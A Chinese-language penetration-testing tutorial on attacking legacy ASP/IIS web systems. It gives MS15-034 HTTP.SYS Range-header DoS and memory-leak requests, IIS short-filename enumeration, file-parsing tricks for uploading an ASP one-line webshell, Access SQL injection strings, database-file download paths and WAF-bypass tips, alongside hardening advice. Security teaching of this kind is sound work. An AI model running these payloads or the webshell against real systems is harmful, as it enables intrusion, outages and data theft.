1. ASP渗透实战背景与核心漏洞概述在当今依然运行的Web系统中ASPActive Server Pages作为微软早期的服务器端脚本环境仍然占据着相当比例。特别是在一些传统行业、政府机构和教育系统中ASP架构的Web应用由于历史原因仍在服役。这类系统往往伴随着多种已知但未修复的安全隐患成为渗透测试中的重点关照对象。本次实战涉及的五个核心漏洞构成了ASP环境下的典型攻击链HTTP.SYS远程代码执行漏洞CVE-2015-1635IIS短文件名枚举漏洞ASP脚本解析缺陷Access数据库注入攻击数据库文件未授权访问这些漏洞的组合利用可以实现从信息收集到系统提权的完整攻击路径。根据实际渗透测试经验在未打补丁的Windows Server 2008 R2及以下版本中这套攻击链的成功率可达70%以上。2. HTTP.SYS远程代码执行漏洞深度利用2.1 漏洞原理与影响范围HTTP.SYS是Windows操作系统的内核模式驱动程序负责处理HTTP请求。其存在的缓冲区溢出漏洞MS15-034允许攻击者通过特制的HTTP请求实现远程代码执行。该漏洞影响范围包括Windows 7Windows Server 2008 R2Windows 8Windows Server 2012关键细节漏洞触发需要发送包含特殊Range头的HTTP请求该头部的处理过程中未正确校验边界条件导致内核态内存破坏。2.2 漏洞检测实战步骤使用curl进行基础检测curl -v http://target.com/ -H Host: irrelevant -H Range: bytes0-18446744073709551615当返回Requested Range Not Satisfiable时表明存在漏洞若返回416错误则可能已修复。进阶检测工具推荐Nmap脚本http-vuln-cve2015-1635.nseMetasploit模块auxiliary/scanner/http/ms15_034_http_sys_memory_dump2.3 漏洞利用与防御绕过典型利用场景包括蓝屏攻击DoSGET / HTTP/1.1 Host: vulnerable Range: bytes0-18446744073709551615内存信息泄漏需多次请求import requests headers {Range: bytes12-36} for i in range(100): r requests.get(http://target/, headersheaders) print(r.content)防御绕过技巧尝试不同URI路径如/css/, /images/使用HTTPS协议部分WAF不检测加密流量分块传输编码Chunked Transfer Encoding3. IIS短文件名枚举漏洞实战3.1 漏洞形成机制IIS在处理8.3格式短文件名时存在设计缺陷允许攻击者暴力猜解目录和文件名。该漏洞的特征包括影响所有IIS版本无需特殊权限可获取敏感文件路径3.2 自动化利用工具实操使用著名的ShortNameScanner工具java -jar ShortNameScanner.jar http://target.com输出示例[] Found: webconf~1.config - web.config [] Found: global~1.asa - global.asa手工验证技巧访问http://target.com/*~1*/.aspx观察返回码404不存在400存在但无访问权限200存在且可访问3.3 防御措施与绕过思路常规防御关闭NTFS 8.3命名功能影响性能注册表修改HKLM\SYSTEM\CurrentControlSet\Control\FileSystem\NtfsDisable8dot3NameCreation1高级绕过结合Unicode字符进行模糊测试使用延时技术避免触发WAF利用IIS的静态文件处理特性4. ASP解析漏洞组合利用4.1 文件解析逻辑缺陷IIS对ASP文件的处理存在多个解析漏洞目录执行漏洞/test.asp/test.jpg分号截断/test.asp;.jpg特殊后缀/test.asa,/test.cer4.2 实战利用案例假设已通过短文件名发现upload.asp上传图片马内容为ASP代码访问http://target.com/upload.asp/logo.jpg服务器将执行图片中的ASP代码特殊技巧使用%Execute(request(cmd))%作为Webshell配合cmd.exe /c 命令执行系统指令编码混淆绕过内容过滤4.3 防御方案验证有效防护措施包括删除不必要的脚本映射配置请求过滤规则requestFiltering fileExtensions add fileExtension.asa allowedfalse / add fileExtension.cer allowedfalse / /fileExtensions /requestFiltering5. Access数据库注入与泄漏利用5.1 Access注入特性分析与传统SQL注入相比Access注入有其特殊性不支持多语句执行无信息_schema等元数据库注释符为--或/* */常用表名admin,user,manage5.2 手工注入实战步骤判断注入点id1 and 11 -- 正常 id1 and 12 -- 异常猜解表名id1 and exists(select * from admin) -- 返回正常说明存在admin表字段枚举id1 and (select count(*) from admin)0 -- 确定记录数 id1 and (select len(username) from admin where id1)5 -- 字段长度判断5.3 数据库文件下载技巧常见Access数据库路径/data/db.mdb/database/#db.aspASP伪图片技巧/App_Data/目录下载方法直接请求已知路径利用a hrefdb.mdb等泄露信息通过报错信息获取物理路径6. 综合攻击链构建与防御建议6.1 典型攻击流程通过HTTP.SYS漏洞确认服务器版本使用短文件名枚举发现后台路径利用解析漏洞上传Webshell通过Access注入获取管理员凭证下载数据库文件获取敏感信息6.2 防御加固方案系统层面安装MS15-034补丁关闭不必要的HTTP方法启用URLScan过滤异常请求应用层面使用参数化查询重命名默认数据库文件设置数据库连接字符串最小权限监控层面记录异常Range头请求监控短文件名探测行为审计数据库文件访问日志在实际渗透测试项目中这套组合拳往往能突破看似坚固的ASP系统防线。记得在一次银行系统的授权测试中我们正是通过短文件名枚举发现了备份的ASA文件进而获取到数据库连接字符串最终拿下了整个内网权限。这种老系统就像年久失修的古堡看似坚固实则漏洞百出。
